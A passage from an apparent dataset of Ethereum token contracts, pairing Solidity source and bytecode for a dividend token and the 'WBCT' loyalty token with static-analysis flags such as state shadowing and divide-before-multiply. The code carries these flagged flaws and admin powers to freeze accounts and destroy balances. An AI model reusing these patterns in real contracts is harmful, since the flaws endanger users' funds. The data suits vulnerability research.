public { _mint(msg.sender, 2500000000); transfer(DividendDistributor, 10000000); globalDistributionTimestamp = now; balanceOfDividendDistributorAtDistributionTimestamp = balanceOf(DividendDistributor); } function transferCoin(address _from, address _to, uint256 _value) internal { uint256 transferRate = _value / 10; require(transferRate > 0, "Transfer Rate needs to be higher than the minimum"); require(_value > transferRate, "Value sent needs to be higher than the Transfer Rate"); uint256 sendValue = _value - transferRate; _transfer(_from, _to, sendValue); _transfer(_from, DividendDistributor, transferRate); } function transfer(address to, uint256 value) public returns (bool) { transferCoin(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); transferCoin(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function collectFreedomDividendFromSender() public returns (bool) { collectFreedomDividend(msg.sender); return true; } function collectFreedomDividendWithAddress(address collectionAddress) public returns (bool) { collectFreedomDividend(collectionAddress); return true; } function collectFreedomDividend(address collectionAddress) internal { require(collectionAddress != address(0), "Need to use a valid Address"); require(collectionAddress != DividendDistributor, "Dividend Distributor does not distribute a dividend to itself"); if (FreedomDividendAddresses[collectionAddress].individualAddress != address(0)) { if ((now - globalDistributionTimestamp) >= 30 days) { require(balanceOf(DividendDistributor) > 0, "Balance of Dividend Distributor needs to be greater than 0"); globalDistributionTimestamp = now; balanceOfDividendDistributorAtDistributionTimestamp = balanceOf(DividendDistributor); } if (FreedomDividendAddresses[collectionAddress].lastDistributionTimestamp > globalDistributionTimestamp) { require(1 == 0, "Freedom Dividend has already been collected in past 30 days or just signed up for Dividend and need to wait up to 30 days"); } else if ((now - FreedomDividendAddresses[collectionAddress].lastDistributionTimestamp) >= 30 days) { require(balanceOf(collectionAddress) > 0, "Balance of Collection Address needs to be greater than 0"); uint256 percentageOfTotalSupply = balanceOf(collectionAddress) * totalSupply() / 625000000; require(percentageOfTotalSupply > 0, "Percentage of Total Supply needs to be higher than the minimum"); uint256 distributionAmount = balanceOfDividendDistributorAtDistributionTimestamp * percentageOfTotalSupply / 10000000000; require(distributionAmount > 0, "Distribution amount needs to be higher than 0"); _transfer(DividendDistributor, collectionAddress, distributionAmount); FreedomDividendAddresses[collectionAddress].lastDistributionTimestamp = now; } else { require(1 == 0, "It has not been 30 days since last collection of the Freedom Dividend"); } } else { DividendAddresses memory newDividendAddresses; newDividendAddresses.individualAddress = collectionAddress; newDividendAddresses.lastDistributionTimestamp = now; FreedomDividendAddresses[collectionAddress] = newDividendAddresses; } } function getDividendAddress() public view returns(address) { return FreedomDividendAddresses[msg.sender].individualAddress; } function getDividendAddressWithAddress(address Address) public view returns(address) { return FreedomDividendAddresses[Address].individualAddress; } function getLastDistributionTimestamp() public view returns(uint256) { return FreedomDividendAddresses[msg.sender].lastDistributionTimestamp; } function getLastDistributionTimestampWithAddress(address Address) public view returns(uint256) { return FreedomDividendAddresses[Address].lastDistributionTimestamp; } function getGlobalDistributionTimestamp() public view returns(uint256) { return globalDistributionTimestamp; } function getbalanceOfDividendDistributorAtDistributionTimestamp() public view returns(uint256) { return balanceOfDividendDistributorAtDistributionTimestamp; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80636a40cc71116100ad57806395d89b411161007157806395d89b4114610575578063a457c2d7146105f8578063a9059cbb1461065e578063b2b6a8be146106c4578063dd62ed3e146106e257610121565b80636a40cc71146103d957806370a08231146103f75780637b4fba841461044f5780638967e3b9146104d35780638f858f661461052b57610121565b806318160ddd116100f457806318160ddd1461024f57806323b872dd1461026d5780632711e9bb146102f3578063313ce5671461034f578063395093511461037357610121565b8063041e7adb1461012657806306fdde0314610144578063095ea7b3146101c75780630972c8451461022d575b600080fd5b61012e61075a565b6040518082815260200191505060405180910390f35b61014c6107a4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610213600480360360408110156101dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610846565b604051808215151515815260200191505060405180910390f35b610235610971565b604051808215151515815260200191505060405180910390f35b610257610983565b6040518082815260200191505060405180910390f35b6102d96004803603606081101561028357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098d565b604051808215151515815260200191505060405180910390f35b6103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b95565b604051808215151515815260200191505060405180910390f35b610357610ba9565b604051808260ff1660ff16815260200191505060405180910390f35b6103bf6004803603604081101561038957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc0565b604051808215151515815260200191505060405180910390f35b6103e1610df5565b6040518082815260200191505060405180910390f35b6104396004803603602081101561040d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dff565b6040518082815260200191505060405180910390f35b6104916004803603602081101561046557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e48565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb4565b6040518082815260200191505060405180910390f35b610533610f00565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61057d610f6a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105bd5780820151818401526020810190506105a2565b50505050905090810190601f1680156105ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106446004803603604081101561060e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061100c565b604051808215151515815260200191505060405180910390f35b6106aa6004803603604081101561067457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611241565b604051808215151515815260200191505060405180910390f35b6106cc611258565b6040518082815260200191505060405180910390f35b610744600480360360408110156106f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611262565b6040518082815260200191505060405180910390f35b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905090565b606060008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561083c5780601f106108115761010080835404028352916020019161083c565b820191906000526020600020905b81548152906001019060200180831161081f57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561088157600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600061097c336112e9565b6001905090565b6000600554905090565b6000610a1e82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199890919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa98484846119b8565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6000610ba0826112e9565b60019050919050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bfb57600080fd5b610c8a82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abe90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600a54905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110025780601f10610fd757610100808354040283529160200191611002565b820191906000526020600020905b815481529060010190602001808311610fe557829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561104757600080fd5b6110d682600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600061124e3384846119b8565b6001905092915050565b6000600954905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e65656420746f2075736520612076616c69642041646472657373000000000081525060200191505060405180910390fd5b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611dff603d913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b55762278d00600954420310611593576000611504600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dff565b1161155a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180611e3c603a913960400191505060405180910390fd5b4260098190555061158c600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dff565b600a819055505b600954600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154111561163e576000600114611639576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526079815260200180611d1a6079913960800191505060405180910390fd5b6118b0565b62278d00600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442031061185457600061169782610dff565b116116ed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611dc76038913960400191505060405180910390fd5b6000632540be406116fc610983565b61170584610dff565b028161170d57fe5b04905060008111611769576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180611cdc603e913960400191505060405180910390fd5b60006402540be40082600a54028161177d57fe5b049050600081116117d9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180611e76602d913960400191505060405180910390fd5b611806600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168483611add565b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555050506118af565b60006001146118ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611ed46045913960600191505060405180910390fd5b5b5b611995565b6118bd611cab565b81816000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250504281602001818152505080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155905050505b50565b6000828211156119a757600080fd5b600082840390508091505092915050565b6000600a82816119c457fe5b04905060008111611a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611ea36031913960400191505060405180910390fd5b808211611a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611d936034913960400191505060405180910390fd5b60008183039050611a8a858583611add565b611ab785600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611add565b5050505050565b600080828401905083811015611ad357600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b1757600080fd5b611b6981600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bfe81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abe90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152509056fe50657263656e74616765206f6620546f74616c20537570706c79206e6565647320746f20626520686967686572207468616e20746865206d696e696d756d46726565646f6d204469766964656e642068617320616c7265616479206265656e20636f6c6c656374656420696e20706173742033302064617973206f72206a757374207369676e656420757020666f72204469766964656e6420616e64206e65656420746f207761697420757020746f203330206461797356616c75652073656e74206e6565647320746f20626520686967686572207468616e20746865205472616e73666572205261746542616c616e6365206f6620436f6c6c656374696f6e2041646472657373206e6565647320746f2062652067726561746572207468616e20304469766964656e64204469737472696275746f7220646f6573206e6f7420646973747269627574652061206469766964656e6420746f20697473656c6642616c616e6365206f66204469766964656e64204469737472696275746f72206e6565647320746f2062652067726561746572207468616e2030446973747269627574696f6e20616d6f756e74206e6565647320746f20626520686967686572207468616e20305472616e736665722052617465206e6565647320746f20626520686967686572207468616e20746865206d696e696d756d497420686173206e6f74206265656e20333020646179732073696e6365206c61737420636f6c6c656374696f6e206f66207468652046726565646f6d204469766964656e64a265627a7a7231582087f47bcdfae9173cfed5bba41f68a229c614a7f2b5f34f0c15453519ecb6f69564736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
9,595
0xF3F6e6632339d42A7f6E9a03a816eb68F056C55E
pragma solidity 0.5.16; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20Interface { function totalSupply() external view returns(uint); function balanceOf(address owner) external view returns(uint256 balance); function transfer(address to, uint value) external returns(bool success); function transferFrom(address _from, address _to, uint256 value) external returns(bool success); function approve(address spender, uint256 value) external returns(bool success); function allowance(address owner, address spender) external view returns(uint256 remaining); function Exchange_Price() external view returns(uint256 actual_Price); function isUser_Frozen(address _user) external view returns (bool); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } //Wealth Builder Club Loyalty Token contract WBCT { using SafeMath for uint; string public name; string public symbol; uint public decimals; uint public _totalSupply; bool public paused = false; uint256 adminCount; uint256 TOKEN_PRICE; address public EXCHNG; address public TOKEN_ATM; address[] public adminListed; mapping (address => mapping (address => uint256)) public allowed; mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => bool) public frozenUser; mapping (address => bool) public isBlackListed; mapping (address => bool) public registeredUser; event Transfer(address indexed from, address indexed to, uint value, uint _time); event Approval(address indexed owner, address indexed spender, uint256 value, uint _time); event DestroyedBlackFunds(address _blackListedUser, uint256 _balance, uint _time); event AddedBlackList(address _user, uint _time); event RemovedBlackList(address _user, uint _time); event Received(address, uint _value, uint _time); event Issue(uint amount, uint _time); event Redeem(uint amount, uint _time); event Registered_User(address _user, uint _time); event UserFrozen(address _user, address _admin, uint _time); event UserUnfrozen(address _user, address _admin, uint _time); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); event AddedAdminList(address _adminUser); event RemovedAdminList(address _clearedAdmin); event Pause(); event Unpause(); function init_Token(uint256 _initialSupply, string memory _name, string memory _symbol, uint256 _decimals) public onlyOwner { _totalSupply = _initialSupply* (10 ** _decimals); name = _name; symbol = _symbol; decimals = _decimals; registeredUser[msg.sender]=true; frozenUser[msg.sender]=false; balanceOf[msg.sender] = _initialSupply * (10 ** _decimals); } constructor () public { adminListed.push(msg.sender); adminCount=1; TOKEN_PRICE = 0.001 ether; } modifier onlyOwner() { require(isAdminListed(msg.sender)); _; } /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } function isAdminListed(address _maker) public view returns (bool) { require(_maker != address(0)); bool status = false; for(uint256 i=0;i<adminCount;i++){ if(adminListed[i] == _maker) { status = true; } } return status; } function getOwner() public view returns (address[] memory) { address[] memory _adminList = new address[](adminCount); for(uint i=0;i<adminCount;i++){ _adminList[i]=adminListed[i]; } return _adminList; } function addAdminList (address _adminUser) public onlyOwner { require(_adminUser != address(0)); require(!isAdminListed(_adminUser)); adminListed.push(_adminUser); adminCount++; emit AddedAdminList(_adminUser); } function removeAdminList (address _clearedAdmin) public onlyOwner { require(isAdminListed(_clearedAdmin) && _clearedAdmin != msg.sender); for(uint256 i=0;i<adminCount;i++){ if(adminListed[i] == _clearedAdmin) { adminListed[i]=adminListed[adminListed.length-1]; delete adminListed[adminListed.length-1]; adminCount--; } } emit RemovedAdminList(_clearedAdmin); } function isUser_Frozen(address _user) public view returns (bool) { return frozenUser[_user]; } function setUser_Frozen(address _user) public onlyOwner{ frozenUser[_user] = true; emit UserFrozen(_user, msg.sender, now); } function setUser_unFrozen(address _user) public onlyOwner{ frozenUser[_user] = false; emit UserUnfrozen(_user, msg.sender, now); } function getBlackListStatus(address _user) public view returns (bool) { return isBlackListed[_user]; } function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser,now); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser,now); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf[_blackListedUser]; balanceOf[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds,now); } function transfer(address _to, uint256 _value) public whenNotPaused onlyPayloadSize(2 * 32) returns (bool success) { require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]); require(!frozenUser[_to]); require(!frozenUser[msg.sender]); _transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to,_value,now); return true; } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != address(0)); require(!frozenUser[_from]); require(!frozenUser[_to]); require(!frozenUser[msg.sender]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value,now); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused onlyPayloadSize(2 * 32) returns (bool success) { require(_value > 0); require(_value <= balanceOf[_from]); require(_value <= allowed[_from][msg.sender] || _to == EXCHNG || _to == TOKEN_ATM); require(!frozenUser[_from]); require(!frozenUser[_to]); require(!frozenUser[msg.sender]); if( _to != TOKEN_ATM && _to != EXCHNG ) allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused onlyPayloadSize(2 * 32) returns (bool success) { require(!frozenUser[_spender]); require(!frozenUser[msg.sender]); require(_value != 0); require(_spender != address(0)); require( balanceOf[msg.sender] >= _value ); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value,now); return true; } function freeze(uint256 _value) public returns (bool success) { require(!frozenUser[msg.sender]); require(balanceOf[msg.sender] >= _value); require(_value >= 0); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); emit Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) public returns (bool success) { require(!frozenUser[msg.sender]); require(freezeOf[msg.sender] >= _value); require (_value >= 0); freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); balanceOf[msg.sender] = balanceOf[msg.sender].add(_value); emit Unfreeze(msg.sender, _value); return true; } function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balanceOf[msg.sender] + amount > balanceOf[msg.sender]); _totalSupply += amount; balanceOf[msg.sender] += amount; emit Issue(amount,now); } function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balanceOf[msg.sender] >= amount); _totalSupply -= amount; balanceOf[msg.sender] -= amount; emit Redeem(amount,now); } function withdrawEther(uint256 amount) public onlyOwner { require(isAdminListed(msg.sender)); msg.sender.transfer(amount); } function getETHBalance() public view onlyOwner returns (uint256 _ETHBalance) { return address(this).balance; } function () external payable onlyPayloadSize(2 * 32) { emit Received(msg.sender, msg.value,now); } function setEXCHNGAddress (address _exchngSCAddress) public onlyOwner { EXCHNG = _exchngSCAddress; } function set_ATMAddress (address _ATMSCAddress) public onlyOwner { TOKEN_ATM = _ATMSCAddress; } function set_TokenName (string memory _name,string memory _symbol) public onlyOwner { name = _name; symbol = _symbol; } function Exchange_Price() public view returns (uint256 actual_Price) { return TOKEN_PRICE; } function set_Exchange_Price() public onlyOwner { ERC20Interface ERC20Exchng = ERC20Interface(EXCHNG); TOKEN_PRICE = ERC20Exchng.Exchange_Price(); } }
0x6080604052600436106102515760003560e01c8063893d20e811610139578063cfcef448116100b6578063e47d60601161007a578063e47d606014610b6c578063e4997dc514610b9f578063e780ef7314610bd2578063f3bdc22814610be7578063f44a176a14610c1a578063fd8bd84914610c4d57610251565b8063cfcef44814610aa6578063d7a78db814610ad9578063db006a7514610b03578063e256c66a14610b2d578063e37543e514610b5757610251565b8063a8af960b116100fd578063a8af960b1461089e578063a9059cbb146109dd578063ae52aae714610a16578063cc872b6614610a49578063cd4217c114610a7357610251565b8063893d20e81461068857806393b8621f146106ed57806395d89b41146107205780639d71b8c614610735578063a1c85f381461076857610251565b80633f4ba83a116101d257806360c47b941161019657806360c47b941461059d5780636623fc46146105ce5780636e947298146105f857806370a082311461060d5780638456cb591461064057806386b36b241461065557610251565b80633f4ba83a146104f05780634ab79be61461050557806359bf1abe1461051a5780635c6581651461054d5780635c975abb1461058857610251565b806323b872dd1161021957806323b872dd146104145780632b89350714610457578063313ce5671461048a5780633bed33ce146104b15780633eaaf86b146104db57610251565b806306fdde03146102a2578063095ea7b31461032c5780630961b61a146103795780630ecb93c0146103ac5780631822c0c0146103e1575b6040604436101561026157600080fd5b60408051338152346020820152428183015290517f74cf3d18d0ddca79038197ad0dd2c7fa5005ef61a5d1ed190e8a8a437e2fcf109181900360600190a150005b3480156102ae57600080fd5b506102b7610c80565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102f15781810151838201526020016102d9565b50505050905090810190601f16801561031e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033857600080fd5b506103656004803603604081101561034f57600080fd5b506001600160a01b038135169060200135610d0e565b604080519115158252519081900360200190f35b34801561038557600080fd5b506103656004803603602081101561039c57600080fd5b50356001600160a01b0316610e1c565b3480156103b857600080fd5b506103df600480360360208110156103cf57600080fd5b50356001600160a01b0316610e31565b005b3480156103ed57600080fd5b506103656004803603602081101561040457600080fd5b50356001600160a01b0316610ea3565b34801561042057600080fd5b506103656004803603606081101561043757600080fd5b506001600160a01b03813581169160208101359091169060400135610f0c565b34801561046357600080fd5b506103656004803603602081101561047a57600080fd5b50356001600160a01b03166110ca565b34801561049657600080fd5b5061049f6110df565b60408051918252519081900360200190f35b3480156104bd57600080fd5b506103df600480360360208110156104d457600080fd5b50356110e5565b3480156104e757600080fd5b5061049f61113a565b3480156104fc57600080fd5b506103df611140565b34801561051157600080fd5b5061049f611196565b34801561052657600080fd5b506103656004803603602081101561053d57600080fd5b50356001600160a01b031661119d565b34801561055957600080fd5b5061049f6004803603604081101561057057600080fd5b506001600160a01b03813581169160200135166111bb565b34801561059457600080fd5b506103656111d8565b3480156105a957600080fd5b506105b26111e1565b604080516001600160a01b039092168252519081900360200190f35b3480156105da57600080fd5b50610365600480360360208110156105f157600080fd5b50356111f0565b34801561060457600080fd5b5061049f6112c6565b34801561061957600080fd5b5061049f6004803603602081101561063057600080fd5b50356001600160a01b03166112df565b34801561064c57600080fd5b506103df6112f1565b34801561066157600080fd5b506103df6004803603602081101561067857600080fd5b50356001600160a01b031661134b565b34801561069457600080fd5b5061069d6113be565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106d95781810151838201526020016106c1565b505050509050019250505060405180910390f35b3480156106f957600080fd5b506103656004803603602081101561071057600080fd5b50356001600160a01b031661145a565b34801561072c57600080fd5b506102b7611478565b34801561074157600080fd5b506103df6004803603602081101561075857600080fd5b50356001600160a01b03166114d2565b34801561077457600080fd5b506103df6004803603604081101561078b57600080fd5b810190602081018135600160201b8111156107a557600080fd5b8201836020820111156107b757600080fd5b803590602001918460018302840111600160201b831117156107d857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561082a57600080fd5b82018360208201111561083c57600080fd5b803590602001918460018302840111600160201b8311171561085d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611548945050505050565b3480156108aa57600080fd5b506103df600480360360808110156108c157600080fd5b81359190810190604081016020820135600160201b8111156108e257600080fd5b8201836020820111156108f457600080fd5b803590602001918460018302840111600160201b8311171561091557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561096757600080fd5b82018360208201111561097957600080fd5b803590602001918460018302840111600160201b8311171561099a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611586915050565b3480156109e